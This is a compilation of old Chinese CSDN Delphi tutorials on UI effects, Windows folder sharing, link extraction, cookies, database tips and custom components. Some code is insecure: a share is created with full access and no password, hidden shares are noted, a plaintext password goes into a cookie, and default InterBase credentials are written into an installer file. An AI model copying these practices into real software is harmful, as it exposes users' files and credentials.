3） 根据业务处理要求，编写存储过程。这里我们建议把尽可能多的业务处理放到存储过程中去做，这样做，其优点是明显的

由此可见，使用该工具开发时，开发者在概要设计时重点主要放在两个方面：一是搞好数据结构及相关界面生成参数设计，重点是使用ER-WIN去建模。另一个方面是搞好业务流程的提取，分析，整理。开发者不必再去考虑那些琐碎功能的分配与安排。采用界面自动生成工具来开发数据库应用程序带来的优点主要为：

1）容易保证程序和文档的一致性。当数据结构需要修改时，总是按照先修改ER-WIN内数据，再通过ER-WIN自动修改数据库内的表，再自动生成界面这个原则，文档和程序都来自同一个数据源，文档和程序自然会保持同步。

2）开发者可把主要精力放到业务流程分析及业务处理的实现，使开发工作显得不那么枯燥，开发者可把主要精力放到创造性的工作上去。

3）大大简化了文档编写工作。开发者在文档编写时可把主要精力放到业务流程分析结果的描述，存储过程定义，实现途径的描述。有关数据结构的描述及通用操作，可通过ER-WIN的REPORT功能直接产生。对在生成的界面程序上做增删改的那部分代码，由于这些都是小程序，很容易理解，详细设计说明书的编写要求可大量简化。对一些复杂程度不太高的系统，这部分的详细设计说明书可采用在程序中加较详细的注释行来代替。

4）采用工具来开发数据库应用系统，工作分工明确，层次分明，很容易实现大兵团联合开发的工作模式。集成调试相对要容易些。

5）降低开发成本，缩短开发周期，提高软件质量，增加软件系统的可维护性方面的优点，这里就不再赘述了。

4. 其他

本工具开发出来后，在本人周围的软件开发人员中引起两种不同的反响。一部分人员认为，该工具把他们从枯燥，无聊的重复劳动中解放出来，在软件开发中突出了系统分析和设计的重要性，对工具表示欢迎。另一部分人员认为该工具使用后，使软件开发失去了一种艺术创造的激情，用工具开发出来的界面过于单调，朴素，不易为用户接受。在1997年出版的本人所著的“软件开发技术与实践”一书中本人曾表示过这样的观点：为促进我国的软件事业发展，一定要把软件开发从艺术创造中解脱出来，走工业化大生产的路。

陈震秋 2002年4月14日

Email: zqcheng@yahoo.com


CSDN_文档中心_界面色彩渐变效果的实现

列举实例说明:
    1.新建一个表单,假设其Width为500,设置一个按钮Button1,按
此按钮将把表单置为由左向右由黄变白的渐变效果。
    2.Button1按钮的代码如下:
    procedure TForm1.Button1Click(Sender: TObject);
    var i,j:Integer;
    Dct:TRect;
    begin
    j:=Form1.height;
    //获得表单高度
    for i:=0 to 255 do
    //此处设置RGB()中一个颜色值
    begin
    Canvas.Brush.Color:=RGB(255,255,i);
    //每次画矩形的画刷颜色
    Dct:=Rect(i＊2,0,(i＋1)＊2,j);
    //每次刷绘的矩形区域
    Canvas.FillRect(Dct);
    //填充颜色
    end;
    end;


CSDN_文档中心_局域网中文件夹的共享 Windows NT/2000/XP

局域网中文件夹的共享 Windows NT/2000/XP

在局域网中通过程序实现文件夹的共享，就我知道的应该至少有两种实现方式。一是修改注册表，但是这种方法存在的问题也是很明显的，必须重起机器才能生效。二就是利用 Windows Api函数 NetShareAdd ,通过这个函数我们可以很容易的实现文件夹的共享，而且无需重起计算机。使用这个函数时我们必须注意的是在 Windows NT/2000/XP 和 Windows 95/98/Me 下用法是有很大差别的，这一点我相信大家都有体会，明明在 95 或 98 下实现好好的，可是一到 NT 下就出问题。

其实不光是各位仁兄，我早就提出过这个问题，怎奈一直都没有解决掉。现在好了，希望读完后能给大家一点点帮助。

Windows 95/98/Me 下 NetShareAdd 函数声明在 SVRAPI.DLL 动态连接库中，而在 2000/XP/NT 下声明在 NETAPI32.DLL 动态连接库中。所以我们在不同的操作系统下一定要注意调用不同的 DLL 库。这些函数详细的声明，在新版 MSDN 2002 中有介绍。由于在Delphi中没有声明这些函数和他们的参数所以我们要想实现这个函数还必须自己声明（可能delphi 有声明我不知道在那个单元中）。顺便说一句，我使用的是 delphi5.0 版，可惜他的帮助文件实在是太陈旧了，还是先看看 MSDN 2002 中关于 NetShareAdd 函数的声明巴！

Windows NT/2000/XP:

NET_API_STATUS NetShareAdd(
  LPWSTR servername, //对应 Delphi 中 PWideChar
  DWORD level,       //对应 DELPHI 中 DWOED
  LPBYTE buf,        //对应 DELPHI 中 PBYTE
  LPDWORD parm_err   // 对应 DELPHI 中 PDWORD
);

Windows 95/98/Me: 下面的对应参数就不用说了吧！可以直接看看DELPHI帮助文件。

extern API_FUNCTION
 NetShareAdd(
  const char FAR * pszServer,
  short sLevel,
  const char FAR * pbBuffer,
  unsigned short  cbBuffer
);

特别强调：

我们在声明上面的函数时，函数参数一定要写对，也就是一定要正确对应到DELPHI 自己的类型上。不然函数功能无法实现，这一点我已经尝试了。之所以在NT 下实现不了主要还是，参数类型对应的不对。我们还需要声明一个记录类型，在98/95/me 和 nt/2000/xp下声明如下：

Windows NT/2000/XP: SHARE_INFO_2 和 SHARE_INFO_502 结构

Windows 95/98/Me: share_info_50 结构

对以上这个结构的声明更应该注意参数类型的正确对应。原始声明如下：

 typedef struct _SHARE_INFO_502 {

LPWSTR shi502_netname; // PWideChar;

DWORD shi502_type; // DWORD;

LPWSTR shi502_remark; // PWideChar;

DWORD shi502_permissions; // DWORD;

DWORD shi502_max_uses; // DWORD;

DWORD shi502_current_uses; //DWORD;

LPWSTR shi502_path; //PWideChar;

LPWSTR shi502_passwd; // PWideChar;

DWORD shi502_reserved; // DWORD ；

// PSECURITY_DESCRIPTOR ；一般设为 Nil

PSECURITY_DESCRIPTOR shi502_security_descriptor;

} SHARE_INFO_502, *PSHARE_INFO_502, *LPSHARE_INFO_502;

对应 Delphi 纪录声明如下：一定要注意参数类型的正确对应，如果你把PWideChar 声明为 pchar 函数将无法实现此功能，我已经尝试了，你可以再试试，至于原因是什么，我也不太清楚。

type

TSHARE_INFO_502 = record

shi502_netname: PWideChar;

shi502_type: DWORD;

shi502_remark: PWideChar;

shi502_permissions: DWORD;

shi502_max_uses: DWORD;

shi502_current_uses: DWORD;

shi502_path: PWideChar;

shi502_passwd: PWideChar;

shi502_reserved: DWORD;

shi502_security_descriptor: PSECURITY_DESCRIPTOR;

end;

下面是完成的程序代码，其中有两部分，主程序和单元文件。运行环境 windows 2000 Ads 开发工具 Delphi5.0 。运行通过。

unit Share;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,FileCtrl,My_Share;

type

TFormShare = class(TForm)

Label1: TLabel;

Label2: TLabel;

Label3: TLabel;

BtSelect: TButton;

EditDir: TEdit;//文件共享目录

EditSharename: TEdit; //共享名称

EditInfo: TEdit;//备注

Button1: TButton;

Button2: TButton;

procedure BtSelectClick(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

FormShare: TFormShare;

implementation

{$R *.DFM}

procedure TFormShare.BtSelectClick(Sender: TObject);

var

directory: string;

begin

if SelectDirectory('选择一个目录','', directory) then

EditDir.Text := directory;

end;

procedure TFormShare.Button1Click(Sender: TObject);

begin

if EditDir.Text = '' then

begin

Application.MessageBox('请先选择一个目录！', '共享', MB_ICONINFORMATION + MB_OK);

BtSelect.Click;

Exit;

end;

if EditSharename.Text = '' then

begin

Application.MessageBox('请先输入共享名称！', '共享', MB_ICONINFORMATION + MB_OK);

EditSharename.SetFocus;

Exit;

end;

ShareResource('eengi',EditDir.Text,EditSharename.Text,EditInfo.Text);

{注意：如果在共享目录名称后面添加 $ 符号，共享后在网络邻居里看不到此文件夹

但实际上已经共享了，你可以在本地看到}

end;

end.

以下是单元文件：

unit My_Share;

interface

uses

Windows,Sysutils ;

type

//纪录类型声明，注意参数类型的正确对应，最好别看 delphi 的帮助，引起误导

TSHARE_INFO_502 = record

shi502_netname: PWideChar;

shi502_type: DWORD;

shi502_remark: PWideChar;

shi502_permissions: DWORD;

shi502_max_uses: DWORD;

shi502_current_uses: DWORD;

shi502_path: PWideChar;

shi502_passwd: PWideChar;

shi502_reserved: DWORD;

shi502_security_descriptor: PSECURITY_DESCRIPTOR;

end;

//添加共享

function NetShareAdd(servername:Widestring; level: DWORD; Buf: PBYTE;

var parm_err: PDWORD ): DWORD; stdcall;

//删除共享

function NetShareDel(ServerName:Widestring; NetName: Widestring;

Reserved: DWord): Integer; StdCall;

const

{共享类型}

STYPE_DISKTREE = 0 ;

STYPE_PRINTQ = 1 ;

STYPE_DEVICE = 2 ;

STYPE_IPC = 3 ;

{访问权限}

ACCESS_READ = 0 ;

ACCESS_WRITE = 1 ;

ACCESS_CREATE = 2 ;

ACCESS_EXEC = 3 ;

ACCESS_DELETE = 4 ;

ACCESS_ALL = 7 ;

//自己声明的函数，为了调用方便，参数就不用说明了吧！

function ShareResource(ServerName,FilePath,NetName, Remark : string): Integer;

//function DeleteShare(ServerName: string; NetName: string): Integer;

implementation

//注意在 windows95/98/me 下面 dll 库是 SVRAPI.DLL ，而且参数类型也要随之改变的吆！

function NetShareAdd; external 'netapi32.DLL' name 'NetShareAdd';

function NetShareDel; external 'netapi32.DLL' name 'NetShareDel';

function ShareResource(ServerName,FilePath,NetName, Remark : string): Integer;

var

ShInfo: TSHARE_INFO_502;

parm_err:PDWORD;

_FilePath,_NetName, _Remark : PWideChar ;

_ServerName : Pchar ;

begin

GetMem(_ServerName,255) ; //分配内存

GetMem(_FilePath,255);

GetMem(_NetName,255);

GetMem(_Remark,255);

StringToWideChar(FilePath,_FilePath,255); //字符串转换,一定要转换正确

StringToWideChar(NetName,_NetName,255);

StringToWideChar(Remark,_Remark,255);

strpcopy(_ServerName,ServerName);

//开始创建结构

with ShInfo do

begin

shi502_netname := _NetName;

shi502_type := STYPE_DISKTREE ;

shi502_remark := _Remark ;

shi502_max_uses := $FFFFFFFF;

shi502_current_uses := 10;

shi502_path := _FilePath;

shi502_passwd := nil;

shi502_reserved := 0;

shi502_security_descriptor := nil;

shi502_permissions := ACCESS_ALL;

end;

try

Result := NetShareAdd(_ServerName, 502, @ShInfo, parm_err);

Finally // 别忘了释放内存

FreeMem(_ServerName,255);

FreeMem(_FilePath,255);

FreeMem(_NetName,255);

FreeMem(_Remark,255);

end;

end;

end.

总结：

运行完程序后，相信大家和我有同样的感觉，其实成功就在眼前，就差一点，可是就这一点也很难跨越。程序之所以一直实现不了，恐怕我们都没有考虑参数类型声明是否正确。不过我应该非常感谢csdn 上“绝对菜鸟”的回复。要不是他的程序，恐怕我还在等待中探索。


CSDN_文档中心_具有自动查找Web页面上所有链接的网络浏览器

具有自动查找Web页面上所有链接的网络浏览器

1． 概述
WEB的应用已经深入到现在社会的方方面面，作为一个软件开发人员或其他技术人员，都有可能遇见在Internet上查询大量的资料和信息的情况，一般来说用的最多的就是WEB的搜索Engine。当我们使用它查出大量的资料链接后，还有可能遇到更多的链接，但要自己去看他们是否是链接，那确实是一件很麻烦的事情。这篇文章就是来讲，如何用Delphi的MSHTML_TLB.pas来开发一个具有自动查找Web页面上所有链接的简单网络浏览器。我是在IE5的环境下写的这个程序，当然它可以向下兼容，如IE4。
2.关于MSHTML_TLB.pas
MSHTML_TLB.pas是Deliphi里面自带的一个类。它的含义是Microsoft HTML对象库。它不能够包含在所有的工程或程序中，原因是它实在是太大了，整个文件的代码共有241,899l行，那么长。大小约有12M。下面我们来看看它是如何加入到程序中的。
1． 首先，我们打开Delphi，建立一个新的application。我把form1保存为MainFrm.pas，把application保存为FindLinks.dpr.
2． 要想实现IE 的功能我们就必须要使用Microsoft HTML对象库（MSHTML type library.）如何实现呢？如图1， Project->Import Type Library:

然后你会看到关于"Microsoft HTML Object Library (Version 4.0)"的列表，如图2。
接下来可能会遇到一些问题。比如，在列表里面没有出现"Microsoft HTML Object Library (Version 4.0)"。这是为什么呢？那是IE的问题，由于IE版本的不同（我用的是IE5）。我建议最好是先查询你的计算机里面有没有mshtml.tlb这个文件。
在9x里面它是存在与C:\WINDOWS\SYSTEM目录里面，在2000里面它在\WINNT\system32目录里面。如果找到了这个文件，就可以用图2的click on the "Add..." button，然后选择mshtml.tlb，就可以了，如果没有找到它，那说明你没有安装IE或你的IE版本太低，请升级IE。
最后，当我们选择了倒入的库后，会等待一段时间，因为它实在是太长了，不过请千万不要因为是死机了。它会给自动查找提供很多帮助。
3． 工程实现。
界面设计如下图：

使用以下组件：
控件 命名 TEXT
TLabel lblURL 资料网址
TEdit edtURL http://www.huihu.com
TButton btnFindLinks 查询连接
TListBox lstbxLinks null

4． 程序设计
1． 在Form1的interface部分，在uses后面加入，OleCtrls, SHDocVw, and OleServer.这些所应用的类，都是基于我们所要创建的TinternetExplorer的，它是IE的ActiveX的对象。但是这里还有其它的方式（TinternetExplorer）进行，我们采用TwebBrowser 控制在我们的form1。
2． 我们在private里面加入如下代码：
FInternetExplorer: TInternetExplorer;
procedure WebBrowserDocumentComplete(Sender: TObject; var pDisp: OleVariant;
var URL: OleVariant);
最后用Ctrl-Shift-C完成类的声明。
3． 在impelmentation后面加入如下声明：
uses MSHTML_TLB, ComObj;
要使用的类。
4． 在form1的OnCreate事件中加入如下：
FInternetExplorer := TInternetExplorer.Create(Self);
FInternetExplorer.OnDocumentComplete := WebBrowserDocumentComplete;
5． 最后在form1的TForm1.WebBrowserDocumentComplete里面加入如下代码：
1. procedure TForm1.WebBrowserDocumentComplete(Sender: TObject;
2. var pDisp: OleVariant; var URL: OleVariant);
3. var
4. Doc: IHTMLDocument2;
5. ElementCollection: IHTMLElementCollection;
6. HtmlElement: IHTMLElement;
7. I: Integer;
8. AnchorString: string;
9. begin
10. lstbxLinks.Clear;
11. // 在处理网页的时候发现它没有完全下载，将不会进行处理连接
12. Doc := FInternetExplorer.Document as IHTMLDocument2;
13. if Doc = nil then
14. raise Exception.Create('Couldn''t convert the ' +
15. 'FInternetExplorer.Document to an IHTMLDocument2');
16. // 夺取web上的所有元素。
17. ElementCollection := Doc.all;
18. for I := 0 to ElementCollection.length - 1 do
19. begin
20. file://得到当前的元素
21. HtmlElement := ElementCollection.item(I, '') as IHTMLElement;
22. // 查找网页原代码中的LINK标记。
23. // 发现其它的html标记 (例如： TABLE, FONT, etc.)
24. if HTMLElement.tagName = 'A' then
25. begin
26. // 在详细的link里面抓取innerText，innertext就是标记中<href=后面的东西>例如：

27. // 我们在web里面看见"西南民族学院"
28. // <a href="http://www.swun.edu.cn"><b>西南民族学院</b></a>.
29. AnchorString := HtmlElement.innerText;
30. if AnchorString = '' then
31. AnchorString := '(Empty Name)';
32. AnchorString := AnchorString + ' - ' +
33. (HtmlElement as IHTMLAnchorElement).href;
34. lstbxLinks.Items.Add(AnchorString);
35. end;
36. end;
37. end;

最后我们在button（btnFindLinks）加入Onclick 事件：
1. // 在被浏览的web里面进行查询连接。
2. FInternetExplorer.Navigate(edtURL.Text, EmptyParam, EmptyParam,
EmptyParam, EmptyParam);
从以上的程序里面我们可以看出它的原理了，实际上是很简单的，看过html原代码的人都知道，使网页产生连接的代码就是：<a href="http://www.swun.edu.cn"><b>西南民族学院</b></a>.
我程序的原理就是通过截取href后面的字符串，并在"""号后面截止。
然后把它保存为另外的字符串。然后通过TwebBrowser显示出来。
最后让我们来编译这个程序，的却，编译它很费时间，因为编译多达241,899l行的MSHTML_TLB.pas，是一件很麻烦的事情。其中还包括多达20多个的warning错误，但请放心这是MSHTML_TLB.pas的问题，与其它程序无关。这样一个小型的查找Web页面上所有链接的简单网络浏览器就出现在我们面前。本程序在IE5.0和Delphi6下编译通过。


CSDN_文档中心_开发Web应用程序中Cookie使用的问题

问：我想在一个Actionitem中增加cookie,然后sendredirect到另一个actionitem在那里验证cookie,有cookie这显示一个页面，否则返回。但我发现增加完cookie后，如果马上sendredirect则另一个actionitem取不到cookie值（说明cookie增加不成功），若不马上sendredirect而是response.content:='某一页面内容',然后用户点击连结到另一ActionItem则可以成功读出cookie。

答：Cookie是一个Response的头（header）部分，必须在正文之前设置。如果用SendRedirect，只有新页面才会传送，SendRedirect之前设置的Response会取消，导致Cookie不能加到新页面的头部分，所以设置Cookie不成功！解决办法是：永远不要在设置Cookie后再用SendRedirect。你所说的问题可以这样解决：在HTML中可以加入代码自动转到另外一个页面，我们可以在WebActionItem的OnAction事件中写入：

Response.Content:='<meta HTTP-EQUIV="REFRESH" CONTENT="1;'+

'URL=http://chen/dll/chat/chatmain.exe/qtchat">'+

'<p></p><p align="center">你的回复已经添加到论坛中了'+

'<br>两秒钟后回到论坛首页</p>';

就可以自动返回URL指向的地址了。

问：我先在Cookie中设定了一个值，然后想修改它，该如何做？

答：首先删除原来的Cookie中的值，方法是将Cookie的Expires设定为必现在时间早的时间，然后在设定。例如：

//将原来Cookie中的记录删除

With Response.Cookies.Add do begin

Name := 'NickName';

Value := Request.ContentFields.Values['NickName'];

Secure := False;

Expires := Now-1;

end;

//将注册的用户名作为Cookie中的内容

With Response.Cookies.Add do begin

Name := 'NickName';

Value := Request.ContentFields.Values['NickName'];

Secure := False;

Expires := Now+100;

end;

问：如何通过Cookie保存临时信息？象一些论坛，在一次浏览过程中。当你第一次发言时，需要输入密码，而以后发言就不需要输入密码。而当断开后再次浏览就还需要输入密码，这样即方便又保证了安全性.

答：设置这样的Cookie的方法是不要设定Expires。例如：

//设定临时Cookies

with Response.Cookies.Add do begin

Name := 'TempPassword';

Value:=sPassword;

end;

另外我们也可以下载一些专用的设定和读取Cookie的控件，这些控件支持在Web应用程序中加入类似ASP的Session的功能。下载地址是：http://codecentral.borland.com/

www.applevb.com


CSDN_文档中心_开发数据库程序经验三则

1.建立临时表
    数据输入是开发数据库程序的必然环节。在Client/Server结构中，客户端可能要输入一批数据后，再向服务器的后台数据库提交，这就需要在本地（客户端）建立临时数据表来存储用户输入的数据，待提交后，清除本地表数据。这种方法的好处是：提高输入效率，减小网络负担。

    由于用户一次输入的数据量一般情况下较小（不会超过几百条记录），所以临时表可以建立在内存中，这样处理速度较快。
    方法1：使用查询控件(TQuery)
    第1步：在窗体上放上查询控件(TQuery)，设置好所连接的数据表。
    第2步：使TQuery. CachedUpdates=True;
     TQuery. RequestLive=True
    第3步：在原有的SQL语句后加入一条Where子语句，要求加入这条Where子语句后SQL查询结果为空。
    例如：
    SELECT Biolife.″Species No″, Category, Common_Name, Biolife.″Species Name″, Biolife.″Length (cm)″, Length_In, Notes, Graphic
     FROM ″biolife.db″ Biolife
    where Biolife.Category=′A′ and Biolife.Category=′B′
    这样临时表就建立完成了。

    方法2：使用代码创建临时表
    代码如下：
    function CreateTableInMemory(const AFieldDefs:TFieldDefs):TDataSet;
    var
TempTable:TClientDataSet;
    begin
     TempTable:=nil;
     Result:=nil;
     if AFieldDefs<>nil then
     begin
     try
     TempTable:=TClientDataSet.Create(Application);
     TempTable.FieldDefs.Assign(AFieldDefs);
     TempTable.CreateDataSet;
     Result:=(TempTable as TDataSet);
     Except
     if TempTable<>nil then
TempTable.Free;

   Result:=nil;
     raise;
      end
end
  end;

    在程序中按如下方法使用：
    procedure TForm1.Button1Click(Sender: TObject);
    var
ADataSet:TDataSet;
    begin
     ADataSet:=TDataSet.Create(Self);
     with ADataSet.FieldDefs do
     begin
     Add(′Name′,ftString,30,False);
     Add(′Value′,ftInteger,0,False);
     end;

     with DataSource1 do
     begin
     DataSet:=CreateTableInMemory(ADataSet.FieldDefs);
     DataSet.Open;
     end;

     ADataSet.Free;
    end;

    临时表创建完成。

    方法1使用简单，但由于利用查询控件，清空数据时需要查询服务器后台数据库，所以速度稍慢，而且不适用于临时表中各个字段由数个数据表的字段拼凑而成的情况。方法2适用范围广、速度快，但需要编写代码。（代码中TFieldDefs的使用方法十分简单，见Delphi的联机帮助）。

2.配置数据引擎（BDE、SQL Link）
    有关数据库程序分发时，需要携带数据引擎（BDE、SQL Link），并且在客户端安装完程序后还需要配置数据引擎，如用户名（username）、密码（Password）等等。如果手工配置的话，工作量比较大（根据客户机数量而定）。而InstallShield For Delphi又好像没有这方面的选项，其实InstallShield For Delphi可以做到，在生成安装程序的目录里有一个＊.iwz的文本文件，只要在[IDAPI Alias]片段中手工加入即可。 例如：
     [IDAPI Alias]
     usesname=SYSDBA
     password=masterkey
    安装程序后数据引擎自动配置完毕。

3.在InterBase数据库中使用函数
    程序员可能在用InterBase作为后台数据库时，会为其提供的函数过少而感到不方便（只有四个），无法方便地编写出复杂的存储过程。InterBase本身无法编写函数，但它可以使用外部函数（调用DLL中的函数）。下例中说明如何在InterBase 中声明SUBSTR函数。
    DECLARE EXTERNAL FUNCTION SUBSTR
     CSTRING(80), SMALLINT, SMALLINT
     RETURNS CSTRING(80)
     ENTRY_POINT ″IB_UDF_substr″ MODULE_NAME ″ib_udf″

    其中：MODULE_NAME为DLL的名称，ENTRY_POINT为函数名。
    声明后便可以使用，例如：
   select SUBSTR(country)
     from country

    本例使用的是Delphi安装时自带的IBLocal数据库。用户也可以自己编写函数来扩充InterBase。


CSDN_文档中心_可以计算到<<毫秒级>>的控件

unit mwFastTime;

interface

uses
SysUtils, Windows, Classes;

type
TmwFastTime = class(TComponent)
private
c, n1, n2: TLargeInteger;
function GetElapsedTime: ShortString;
function GetElapsed: Extended;
protected
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
Property Elapsed: Extended read GetElapsed;
Property ElapsedTime: ShortString read GetElapsedTime;
Procedure Start;
Procedure Stop;
published
Property Name;
Property Tag;
end;

procedure Register;

implementation

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

procedure Register;
begin
RegisterComponents('mw', [TmwFastTime]);
end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

constructor TmwFastTime.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
QueryPerformanceFrequency(c);
end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

destructor TmwFastTime.Destroy;
begin
inherited Destroy;
end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function TmwFastTime.GetElapsed: Extended;
begin
{$IFDEF VER120}
Result:= (_LARGE_INTEGER(n2).QuadPart - _LARGE_INTEGER(n1).QuadPart) / _LARGE_INTEGER(c).QuadPart;
{$ELSE}
Result:= (n2.QuadPart - n1.QuadPart) / c.QuadPart;
{$ENDIF}
end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function TmwFastTime.GetElapsedTime: ShortString;
begin
{$IFDEF VER120}
Result := format('Seconds: %g', [GetElapsed]);
{$ELSE}
Result := format('Seconds: %g', [GetElapsed]);
{$ENDIF}
end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Procedure TmwFastTime.Start;
begin
QueryPerformanceCounter(n1);
end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Procedure TmwFastTime.Stop;
begin
QueryPerformanceCounter(n2);
end;

end.


CSDN_文档中心_可以左右居中对齐并可设置DisplayFormat的Edit控件

欢迎测试！

liang_z@163.net

unit OWEdit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TInputDataType = (tFloat,tInteger,tAll);

type
TOWEdit = class(TEdit)
private
{ Private declarations }
FCanvas : TCanvas;
FDataType: TInputDataType;
FAlignment : TAlignment;
FDisplayFormat : String;
FDeciNum : Word;
FDisplayText : String;
procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
protected
{ Protected declarations }
procedure SetDataType(Value:TInputDataType);
procedure SetAlignment(Value:TAlignment);
procedure SetDisplayFormat(Value:String);
procedure ClipPaste(var M:TMessage); Message WM_PASTE;
procedure PaintWindow(DC: HDC); override;
procedure Paint; virtual;
procedure WMExit(var Message:TWMKillFocus);Message WM_KILLFOCUS;
procedure GetDisplayText;
procedure ShowDisplayText;
function GetDeciLast:integer;
public
{ Public declarations }
OldText : String;
property Text;
property Canvas: TCanvas read FCanvas;
constructor Create(AOwner: TComponent); override;
destructor Destroy(); override;
procedure KeyPress(var Key: Char); override;
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
published
{ Published declarations }
property DataType: TInputDataType read fDataType write SetDataType default tFloat;
property Alignment: TAlignment read FAlignment write SetAlignment default taLeftJustify;
property DisplayFormat: string read FDisplayFormat write SetDisplayFormat;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Ourway', [TOWEdit]);
end;

constructor TOWEdit.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
Text := '0';
FCanvas := TControlCanvas.Create;
TControlCanvas(FCanvas).Control := Self;
FDeciNum := 9999;
end;

destructor TOWEdit.Destroy();
begin
FCanvas.Free;
inherited Destroy();
end;

procedure TOWEdit.SetDataType(Value:TInputDataType);
begin
If Value<>fDataType Then
begin
fDataType := Value;
Case Value of
tAll: Text := '';
tFloat: Text:='0.0';
tInteger: Text:='0';
end;
ShowDisplayText;
Invalidate;
end;
end;

procedure TOWEdit.SetAlignment(Value:TAlignment);
begin
If Value<>FAlignment Then
begin
FAlignment := Value;
Invalidate;
end;
end;

procedure TOWEdit.SetDisplayFormat(Value: string);
begin
If Value<>FDisplayFormat Then
begin
FDisplayFormat := Value;
if Trim(Value)<>'' then
FDeciNum := Length(Value)-Pos('.',Value)+1
else
FDeciNum := 9999;
ShowDisplayText;
Invalidate;
end;
end;

procedure TOWEdit.KeyDown(var Key: Word; Shift: TShiftState);
begin
if Key = VK_DELETE then
if Self.SelStart=pos('.',Self.Text)-1 then
Key := 0;
inherited KeyDown(Key,Shift);
end;
procedure TOWEdit.KeyPress(var Key: Char);
var
kv: Integer;
begin
kv := Ord(Key);
case fDataType of
tInteger:
if (((kv>58) or (kv<48)) and (kv<>3) and (kv<>22) and (kv<>8) and (kv<>13)) then
Key := chr(0);
tFloat:
begin
if (((kv>58) or (kv<48)) and (kv<>3) and (kv<>22) and (kv<>46) and (kv<>8) and (kv<>13)) then
Key := chr(0)
else
begin
if (kv=46) and (Pos('.',self.Text)>0) then//已有小数点
Key := chr(0)
else
if MaxLength<1 then//小数点前面位数不定
begin
if ((GetDeciLast>=FDeciNum) and (kv<>8)) then //退格键
if ((self.SelLength=0)and(pos('.',copy(Self.Text,1,self.SelStart))>0))then
Key := chr(0);
end
else//输入总长度已定
begin
if pos('.',copy(self.Text,1,self.selStart))<1 then
begin//光标在小数点之前
if ((self.SelStart>=MaxLength-FDeciNum)and(kv<>8)and(kv<>46)) then
Key := chr(0);
end
else
begin//光标在小数点之后
if ((GetDeciLast>=FDeciNum) and (kv<>8) and (self.SelLength=0)and(pos('.',copy(Self.Text,1,self.SelStart))>0)) then
Key := chr(0);
end;
end;
end;
end;
else
end;
if (kv=8)and(Self.SelStart>0)and(Self.Text[self.SelStart]='.')and(GetDeciLast>1) then
Key := chr(0);
//还有一个Delete键没有截获！如果用此键删除小数点，还是有可能出错的。
//搞定！用KeyDown override
inherited KeyPress(Key);
end;

procedure TOWEdit.ClipPaste(var M:TMessage);
begin
if fDataType=tAll then
inherited;
end;

procedure TOWEdit.WMPaint(var Message: TWMPaint);
begin
inherited;
PaintWindow(Message.DC);
end;

procedure TOWEdit.PaintWindow(DC: HDC);
begin
FCanvas.Lock;
try
FCanvas.Handle := DC;
try
TControlCanvas(FCanvas).UpdateTextFlags;
Paint;
finally
FCanvas.Handle := 0;
end;
finally
FCanvas.Unlock;
end;
end;

procedure TOWEdit.Paint;
begin
if not Focused then
begin
ShowDisplayText;
end
else
inherited;
end;

procedure TOWEdit.WMExit(var Message:TWMKillFocus);
begin
inherited;
ShowDisplayText;
end;

procedure TOWEdit.GetDisplayText;
var
ShowText : String;
begin
ShowText := Text;
if FDataType<>tAll then
begin
if Trim(ShowText)='' then
ShowText := '0';
if FDatatype=tFloat then
ShowText := FormatFloat(FDisplayFormat,StrToFloat(ShowText))
else
ShowText := FormatFloat(FDisplayFormat,StrToInt(ShowText));
end;
FDisplayText := ShowText;
end;

procedure TOWEdit.ShowDisplayText;
var
Rect : TRect;
x,y : Integer;
begin
GetDisplayText;
Canvas.Lock;
try
Rect.Left := 1;
Rect.Top := 1;
Rect.Right := Width-1;
Rect.Bottom:= Height-1;
Canvas.Font := Font;
if not Enabled then
Canvas.Font.Color := clGrayText;
Canvas.Brush.Color:=Self.Color;
Canvas.FillRect(Rect);
y := 2; x := 2;
Case FAlignment of
taLeftJustify:;
taRightJustify:
x := Width-Canvas.TextWidth(FDisplayText)-5;
else
x := (Width-Canvas.TextWidth(FDisplayText)-5)div 2;
end;
Canvas.TextOut(x,y,FDisplayText);
finally
Canvas.Unlock;
end;
end;

function TOWEdit.GetDeciLast:integer;
var
i : Integer;
begin
Result := 0;
if Pos('.',Text)>0 then
begin
for i:=1 to Length(Text) do
if Text[i]='.' then
begin
Result := Length(Text)-i+1;//Length(Copy(Text,i,Length(Text)-i));
Exit;
end;
end;
end;

end.


CSDN_文档中心_控制Windows分辨率

EnumDisplaySettings() 和ChangeDisplaySettings()，

function DynamicResolution(X, Y: word): BOOL;
var
lpDevMode: TDeviceMode;
begin
Result := EnumDisplaySettings(nil, 0, lpDevMode);
if Result then
begin
lpDevMode.dmFields := DM_PELSWIDTH Or DM_PELSHEIGHT;
lpDevMode.dmPelsWidth := X;
lpDevMode.dmPelsHeight := Y;
Result := ChangeDisplaySettings(lpDevMode, 0) = DISP_CHANGE_SUCCESSFUL;
end
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if DynamicResolution(640, 480) then
ShowMessage('Now is 640*480');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if DynamicResolution(800, 600) then
ShowMessage('Now is 800*600');
end;


CSDN_文档中心_控制第三方程序

在不知道专用设备的通信控制字的情况下任何控制专用设备

幸好专用设备提供了控制设备的程序,通过控制此程序,实现自己的程序

控制专用设备的目的,以下程序通过向richedit(设备控制程序的命令行窗口)

写入设备控制程序的控制命令,类似模拟终端,完成自己的程序对专用设备的控制.

function EnumchildWindowsProc(AHWnd: HWnd;
LPARAM: lParam): boolean; stdcall;
var
WndCaption: array[0..254] of char;
WndClassName: array[0..254] of char;
begin
